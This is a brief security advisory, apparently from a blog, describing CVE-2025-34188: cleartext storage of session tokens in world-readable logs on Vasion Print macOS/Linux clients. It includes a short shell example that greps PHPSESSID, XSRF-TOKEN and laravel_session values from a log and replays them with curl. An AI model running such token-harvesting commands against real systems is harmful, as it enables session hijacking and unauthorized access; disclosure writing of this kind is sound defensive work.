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CVE-2025-34188: Cleartext Authentication Token Storage Vulnerability in Vasion Print Systems

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Overview

A significant security vulnerability, CVE-2025-34188, has been identified in Vasion Print Virtual Appliance Host and Application systems. This vulnerability primarily affects macOS and Linux client deployments of these systems. The identified weakness involves the insecure storage of authentication session tokens in world-readable log files, potentially enabling unauthorized system access and data exposure.

Vulnerability Summary

CVE ID: CVE-2025-34188
Severity: High (CVSS 7.8)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Unauthorized system access, potential system compromise, and data leakage

Affected Products

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Product | Affected Versions

Vasion Print Virtual Appliance Host | versions prior to 1.0.735
Vasion Print Application (macOS/Linux client deployments) | versions prior to 20.0.1330

How the Exploit Works

The vulnerability lies in the local logging mechanism of the affected Vasion Print systems. Authentication session tokens, including PHPSESSID, XSRF-TOKEN, and laravel_session, are stored in plaintext within world-readable log files. Any local user with access to the server hosting these logs can extract these session tokens. Once obtained, these tokens can be used to authenticate remotely to the SaaS environment, bypassing the standard login procedure. This can potentially lead to unauthorized system access and exposure of sensitive information.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

# Access the log file
cat /path/to/logfile.log
# Look for session tokens
grep -o -P '(?<=PHPSESSID:).*(?=,)' logfile.log
grep -o -P '(?<=XSRF-TOKEN:).*(?=,)' logfile.log
grep -o -P '(?<=laravel_session:).*(?=,)' logfile.log
# Use the extracted tokens to authenticate
curl -H 'Cookie: PHPSESSID=extracted_token; XSRF-TOKEN=extracted_token; laravel_session=extracted_token' https://target-saas-env.com

This code block is a conceptual example and does not represent an actual exploit. It demonstrates the process of extracting session tokens from log files and using them to bypass normal authentication procedures.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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